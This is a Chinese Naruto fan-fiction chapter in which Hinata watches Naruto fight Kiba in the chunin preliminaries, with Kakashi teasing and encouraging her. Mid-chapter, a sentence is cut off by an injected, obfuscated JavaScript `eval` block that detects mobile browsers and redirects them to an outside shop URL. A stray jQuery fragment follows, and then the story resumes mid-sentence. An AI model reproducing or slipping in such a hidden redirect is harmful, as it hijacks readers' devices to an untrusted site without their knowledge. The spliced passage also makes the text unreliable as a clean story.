第八章:她的世界
预选赛是在所有人还没有真正从死亡森林里缓过神来的时候开始的。
大厅里的空气混着汗水、药味和潮湿泥土的气息。有人靠在墙边喘气,有人低声和同伴说话,有人身上还缠着绷带,却已经用兴奋的眼神望向场地中央。
雏田站在第八班旁边,手指轻轻搭在忍具包上。
她的手心还是凉的。
死亡森林里的雾、沙、血腥味,还有那句一遍遍回荡在脑子里的“不要杀我”,并没有因为他们抵达中心塔就消失。
那些东西像湿冷的藤蔓,缠在心口。
只要稍微安静下来,就会重新爬上来。
可是这里太亮了。
中心塔内部高大空旷,墙壁上嵌着灯,灯光落在金属栏杆、石质地面和一张张疲惫的脸上,把死亡森林里的阴影暂时挡在了外面。
雏田抬头看了一眼高处。
电子公告板悬在那里,黑色屏幕还没有开始跳动,却已经让所有人都意识到,下一场考试不会给他们太多喘息的时间。
“因为通过第二场考试的人数超出预期,所以在第三场考试之前,将进行一对一预选赛。”
月光疾风的声音在大厅里响起,带着病弱的沙哑。
“一对一实战。直到一方认输、倒下,或者死亡为止。”
死亡。
这个字再次落下来。
雏田的肩膀轻轻绷了一下。
牙像是察觉到她的紧张,压低声音道:“别怕,雏田。要是真轮到你,我和志乃在上面看着呢。”
雏田抬起头。
牙明明自己身上也有伤,脸上却还是挂着那种不服输的笑。赤丸趴在他怀里,耳朵一动一动,虽然精神不如平时,却仍然努力抬头看她。
志乃站在另一侧,淡淡补充:
“预选赛虽然是单人战,但情报判断仍然重要。你不要急着把自己放在弱势位置。”
雏田怔了一下。
不要急着把自己放在弱势位置。
这句话像一枚很小的石子,轻轻落进她心里。
她好像总是这样。
事情还没开始,就先觉得自己不行。
别人还没否定她,她已经习惯性把自己放到最轻、最不重要的位置上,好像这样就不会给任何人添麻烦。
可是牙和志乃不是这样看她的。
他们把她当成同伴。
当成第八班的眼睛。
当成可以一起通过死亡森林的人。
“嗯。”
雏田轻轻点头。
声音还是小,却没有逃开。
“我会努力的。”
牙咧嘴笑了一下。
“这才对嘛。”
雏田低下头,唇角很轻地弯了一下。
她没有变得不害怕。
只是现在的害怕,不再像从前那样完全吞没她。
像被水浸过的玉,仍旧带着凉意,可里面已经透出一点被人握过后的温度。
--------------------
电子公告板第一次滚动起来的时候,大厅里所有声音都低了下去。
名字跳动。
停下。
第一场不是雏田。
她悄悄松了一口气。
不是因为想逃避所有战斗。
只是她还没有准备好。
死亡森林里的恐惧还压在身体里,如果立刻站到场中,她不确定自己的手会不会发抖到无法出掌。
她抬眼看向其他选手。
每个人看起来都很强。
砂隐的我爱罗站在远处,背着葫芦,眼神空得像一口没有底的井。他的身上看不出疲惫,也没有经历危险后的迟疑,仿佛死亡森林对他而言,不过是一条普通的路。
雏田只看了一眼,就立刻移开视线。
胸口又冷了起来。
那个人很可怕。
不是因为强。
而是因为他杀人的时候,没有任何波动。
还有宁次哥哥。
宁次站在另一侧,白眼冷淡,姿态挺直。大厅里的灯光落在他的护额上,遮住了那个雏田从未真正看见、却知道一定存在的咒印。
他看起来也很平静。
平静得像早已准备好迎接任何战斗。
雏田忽然想,如果自己遇到宁次哥哥,会怎么样呢?
会输吧。
甚至可能会死。
这个念头一出现,她指尖便轻轻发麻。
可下一刻,她又想起昨夜月光下自己说过的话。
明天也要努力。
努力不是保证不输。
努力只是当命运真的把她推到场中时,她不能还没开始就把自己判定为失败。
雏田慢慢吸了一口气。
几场比赛过去后,电子公告板再次亮起。
名字滚动得很快。
雏田抬头看着那些模糊跳动的字,心跳也跟着一点点加快。
终于,屏幕停住。
漩涡鸣人。
犬冢牙。
大厅里短暂静了一瞬,随即传来鸣人兴奋的大喊。
“终于轮到我了!”
牙也愣了一下,随后咧嘴笑了。
“居然是鸣人啊。”
雏田站在原地,心里一下子纠结起来。
鸣人君。
牙君。
一个是她一直仰望的人。
一个是她并肩走过死亡森林、刚刚还在安慰她的伙伴。
她当然希望鸣人君赢。
可是牙君也不能输。
不是不能被打败,而是她不希望牙受伤,不希望赤丸受伤,也不希望自己坐在上面,只看着喜欢的人,却忘记了同伴也在场中拼命。
她跟着大家来到观战席,坐下时还有些心不在焉。
场下,鸣人正大声放话。
牙毫不客气地回怼,赤丸配合地叫了一声。
两个人都很有精神。
好像死亡森林里的阴影没有压在他们身上一样。
雏田扶着栏杆,微微探出一点身子。
她想给他们加油。
可是要怎么说呢?
如果只给鸣人君加油,好像对不起牙君。
如果只给牙君加油,她又觉得自己没办法不看鸣人君。
她犹豫了很久,终于小小声地开口:
“鸣人君……加油哦。”
话刚出口,她又慌忙补了一句:
“牙君也要加油。”
声音轻得几乎被场馆里的嘈杂完全盖住。
说完以后,她自己先红了脸。
好丢脸。
两边都想加油,听起来一定很奇怪吧。
在这么吵的地方,应该没人听见。
“呐,雏田。”
带着笑意的声音从她身后很近的地方传来。
雏田整个人僵了一下。
这个声音……
她慢慢转过头。
卡卡西不知什么时候坐到了她身后的椅子上。
他俯着身,双臂交叠搭在她椅背上,下巴懒洋洋地支在手臂上。银灰色的头发垂下来,离她很近,近到雏田几乎能看清发丝在灯光下泛出的浅亮。
那只露出的眼睛弯成一轮新月。
显然刚刚把她小声又纠结的加油听得一清二楚。
“卡、卡卡西老师!”
雏田的脸一下红透。
她下意识挺直背,连手都不知道该往哪里放。
“你还真是公平啊。”卡卡西慢悠悠地说,“喜欢的人要加油,同伴也不能忘记。”
“我、我不是……”
雏田慌得几乎咬到舌头。
她想解释自己不是贪心,不是摇摆,也不是奇怪地两边都想赢。可是卡卡西说得太直接,她反而一个字都说不出来。
卡卡西看着她耳尖红起来的样子,眼里笑意更深。
他其实只是逗她。
可话说出口后,又觉得自己说得并没有错。
雏田的世界里确实不是只有喜欢。
她会看着鸣人,眼里有很亮的光。那份喜欢太单纯,单纯到连旁人都不忍心拿它开太过分的玩笑。
可她也会记得小樱喜欢甜一点的红豆汤。
会记得牙刚刚从死亡森林里出来,身上还有伤。
会记得志乃说过的每一句平静却实际的肯定。
会在卡卡西笑着遮掩沉重的时候,用那双干净的白眼安静地递来关心。
她喜欢一个人。
却没有因此让自己的世界变窄。
这个孩子很软。
但她的温柔不是只朝着某个方向流动的溪水。
更像月光,轻轻落在所有她珍惜的人身上。
“卡卡西老师……”
雏田看着他,忽然想起刚才在中心塔大厅里,他看向佐助时沉下去的眼神。
她没有问。
可她的目光还是不由自主地落在他的眼睛上。
问题解决了吗?
佐助君还好吗?
卡卡西老师现在……没有那么难过了吗?
那些话不能说。
她没有身份问,也不知道问了以后能做什么。
所以她只是看着他。
眼神很轻,像怕碰疼他。
卡卡西原本还带着调侃的笑意,在那一瞬间微微停住。
又来了。
那种被她看见的感觉。
明明她什么都没说,却像已经把他那些不愿让学生察觉的沉重轻轻接了过去。她不拆穿,不追问,只是用那双白色眼睛望着他,好像在确认他是不是已经好一点。
卡卡西忽然有点想移开视线。
不是因为不悦。
而是这种被细心领会的感觉,对他来说太陌生了。
白眼真是麻烦啊。
他心里懒洋洋地想。
能看见经络也就算了,怎么连人的情绪都像要被看透一样。
可他知道,不是白眼的缘故。
是雏田本来就这样。
她太会观察了。
太会珍惜别人轻微的变化。
像一块温玉,不会主动发烫,却总能在被人无意握住的时候,把对方掌心的冷意一点点捂开。
“嗯?”
卡卡西弯起眼,装作没有看懂她的担心。
“怎么了,雏田?担心鸣人输吗?”
雏田怔了一下,随即被带回场上的比赛。
她立刻摇头。
“不、不是……”
“哦?那就是担心牙赢?”
“也不是……”
卡卡西的眼睛弯得更愉悦。
“那可真难办啊。”
雏田的脸越来越红。
她明明知道卡卡西老师在逗她,可还是很认真地解释:
“我只是……希望他们都不要受太重的伤。”
卡卡西微微一顿。
场下,鸣人和牙已经开始交手。
牙的速度很快,赤丸与他配合默契,像两道追逐猎物的影子。鸣人很快被压制,狼狈地翻滚、躲避、撞上地面,又咬着牙爬起来。
观战席上不时传来惊呼。
雏田扶着栏杆,指尖收紧。
她看着鸣人受伤会心疼。
看着牙攻击成功也会紧张。
她没有办法只站在某一边,把另一边当成无关紧要的对手。
这是她的软。
也是她的好。
卡卡西顺着她的目光看向场中,声音慢慢放轻:
“忍者的战斗总会受伤的。”
雏田低下眼。
“我知道。”
“但知道和不想看见,是两回事,对吧?”
她怔住。
卡卡西看着场下,语气依旧懒散,却不像在开玩笑。
“雏田很温柔啊。”
这句话来得太突然。
雏田的耳尖一下红了。
“我、我没有……”
“有哦。”卡卡西说,“不过温柔不是坏事。”
雏田慢慢抬起头。
“不是坏事吗?”
她问得很轻。
轻到像是真的困惑了很久。
在日向家,温柔常常意味着软弱。
意味着犹豫。
意味着不适合继承宗家。
她知道自己不够果断,也知道自己总是太容易替别人着想。所以她一直以为,这些都是需要被改掉的东西。
可是卡卡西老师说,温柔不是坏事。
卡卡西靠在椅背上,眼睛仍然弯着。
“当然不是。只是要学会在该出手的时候出手。”
他说完,像是随口补了一句:
“玉也不是只能拿来观赏的。”
雏田愣住。
“玉?”
卡卡西看向她。
“嗯。很温润,很漂亮,但如果打磨得好,也可以很坚韧。”
他没有说“像你”。
可雏田的心却轻轻跳了一下。
她下意识低头看自己的手。
白皙的手指搭在栏杆上,因为紧张而微微用力。
她不是没听过别人夸她漂亮。
可那些夸奖大多轻飘飘的,像看一个安静乖巧的宗家小姐。
卡卡西这句话却不一样。
他没有只说她软。
也没有只说她漂亮。
他说,玉可以很坚韧。
雏田不知道为什么,忽然觉得眼眶有一点热。
“谢谢卡卡西老师。”
她小声说。
“我会努力的。”
卡卡西看着她低着头认真道谢的样子,心里忽然轻轻叹了一声。
又是这样。
她总是把别人随口递出去的话,好好地捧起来。
太容易让人想多给她一点。
多给一点肯定。
多给一点耐心。
多给一点可以让她抬头的理由。
场下,鸣人被牙压制得越来越狼狈。
雏田的注意力重新被拉回去。
她看见鸣人一次次倒下,又一次次站起来。看见他脸上满是不甘,却始终没有认输。看见牙嘴上嚣张,攻击时却也没有半分松懈。
两个人都在认真战斗。
这让她忽然明白,所谓加油,也许不是让某一个人赢。
而是在他们都拼尽全力的时候,承认他们的努力。
她深吸一口气。
然后稍稍提高了一点声音。
“鸣人君,加油!”
她顿了一下,又看向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821942|211160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
牙。
“牙君,也不要大意!”
这一次,她的声音还是不算大。
却比刚才清楚了很多。
场下的牙耳朵一动,抬头咧嘴一笑。
“听见啦,雏田!”
鸣人也像被点燃似的,回头冲她竖起大拇指。
“我绝对会赢的!”
雏田脸颊又红,却没有躲开。
她看着他们,眼睛里浮出很轻的光。
卡卡西坐在她身后,目光落在她微红的耳尖和挺直了一点的背上,眼里的笑意慢慢变得温和。
这个孩子真的在一点点变化。
不是变得张扬。
也不是变得锋利。
只是她开始敢让自己的声音落到别人耳朵里了。
哪怕仍然很轻。
也已经不是完全藏起来的样子。
比赛继续。
牙的攻势越来越猛,鸣人几乎被逼入绝境。
卡卡西看起来却一点也不着急。
他靠在椅背上,脑袋微微垂下来,银灰色的发落在额前。起初雏田以为他只是在专注观察,直到她听见身后传来一声极轻的、均匀的呼吸。
雏田僵住。
卡卡西老师……睡着了?
在鸣人君的比赛里?
她慢慢回头,果然看见卡卡西闭着眼,姿态懒散得像下一秒就能从椅子上滑下去。银灰色的头发垂下来,被场馆上方的灯光照得像水面碎开的银光。
雏田一时不知道该说什么。
鸣人君明明正在苦战。
卡卡西老师居然睡着了。
可是看着他睡得这样自然,她又忽然想起他担心佐助时的眼神。
也许卡卡西老师已经很累了。
死亡森林之后,他一定有很多事情要处理。佐助君身上的麻烦、鸣人君和小樱的状态,还有接下来的比赛。
他看起来总是什么都不在意。
可实际上,所有事情都会被他放在心里吧。
雏田本来想轻轻叫醒他。
可是她稍微动了一下,才发现自己的背如果靠回去,可能会碰到他的头发。
她犹豫片刻,悄悄坐直了一些。
动作很小。
小到几乎没有人注意。
她只是把自己的背挺得更直一点,留出一点不打扰他的距离。
如果卡卡西老师真的很累的话。
就让他睡一小会儿吧。
反正鸣人君一定不会轻易输的。
她这样想着,重新看向场中。
而她不知道的是,身后的卡卡西其实在她坐直的一瞬间,睫毛轻轻动了一下。
他没有完全睡着。
只是短暂闭眼休息。
可雏田那个小心翼翼的动作,他感觉到了。
她甚至没有回头确认他是不是醒着。
也没有说“老师你靠得太近了”。
只是很自然地、安静地,把自己挪开一点,让他能继续休息。
这种细微到几乎不会被人发现的体贴,像一片轻得不能再轻的羽毛,落在心口。
卡卡西没有睁眼。
可是面罩下的唇角,极轻地弯了一下。
真是……
比想象中还要会照顾人啊,雏田。
------------------------
场中的气氛忽然变了。
原本被压制的鸣人,不知用什么办法竟然抓住机会反击。场馆里响起一阵惊呼,牙的动作被打乱,鸣人趁势翻身而起。
卡卡西也在这一瞬间睁开了眼。
“欸?”
那声嘟哝带着一点刚睡醒的鼻音,轻得像贴在雏田耳后响起。
雏田身体一僵。
不知道为什么,她忽然很想回头看看卡卡西老师现在的表情。
可场中的动静把她的目光牢牢拉住。
鸣人君居然真的扭转了局势。
他满身狼狈,却笑得那么明亮,像哪怕被按进泥土里,也能从泥里把太阳拽出来。
最后一击结束时,牙倒在地上。
胜负已分。
漩涡鸣人胜。
场馆短暂安静后,响起一片哗然。
雏田怔怔看着场下,胸口因为紧张而起伏。
鸣人赢了。
真的赢了。
她心里涌出强烈的喜悦,几乎想立刻站起来为他鼓掌。
可下一瞬,她看见牙浑身是伤地被扶上担架,赤丸也虚弱地趴在旁边,心里的喜悦便像被人轻轻按住了一角。
鸣人君赢了。
她很开心。
可是牙君也受伤了。
而牙君也是她的伙伴。
场下的鸣人朝观战席方向竖起大拇指,笑得灿烂又得意。
雏田顺着他的视线看过去,发现他看向的方向不只是自己,也有第七班和卡卡西老师。
她转头,看见卡卡西已经站起身。
他望着鸣人的眼神里带着很深的赞赏和信任,和平时那种懒散的笑不太一样。那是老师看着弟子时才会有的神情。
原来如此。
卡卡西老师不是不在乎鸣人君。
他是相信他。
相信到哪怕鸣人被压制,被打倒,被所有人觉得要输了,他也能睡得那么坦然。
因为他知道鸣人君不会放弃。
雏田忽然觉得很感动。
老师与弟子之间的羁绊,原来可以这样安静而坚定。
不是时时刻刻紧盯着。
也不是把担心挂在脸上。
有时候,绝对的信任本身,就是一种温柔。
可是她已经没有时间一直感动了。
牙被担架抬走了。
雏田低头摸了摸忍具包。
里面有日向家的药膏。
她想起死亡森林里牙拍着她肩膀说“干得漂亮”,想起刚才牙在场下听见她加油时笑着回头,想起赤丸低声呜咽的样子。
她的世界里不只是鸣人君。
她很喜欢鸣人君。
可她也珍惜同伴。
喜欢不是让她忘记别人受伤的理由。
雏田慢慢站起来。
她看了一眼卡卡西。
卡卡西正望着鸣人,眼里还有未散的笑意。她没有出声打扰,只是悄悄从座位旁离开。
可卡卡西还是注意到了。
他微微偏过头,看见雏田抱着忍具包,沿着观战席边缘往医疗区走去。
她的步子仍旧不快。
背影也仍然纤细安静。
可这一刻,卡卡西忽然觉得,她小小的身影比许多人都要清楚。
她没有因为喜欢鸣人而忘记牙。
也没有因为自己害羞,就把关心停留在心里。
她总是这样。
看见了,就会做一点什么。
哪怕只是一盒药膏。
哪怕只是一句很轻的“你还好吗”。
这些事都不惊人。
甚至称不上多伟大。
可正是这些细小、具体、落到实处的温柔,让她身上的光变得越来越难以忽视。
卡卡西看着她走远,眼睛慢慢弯起来。
“雏田啊。”
他轻声说。
“真是很会让人放心不下呢。”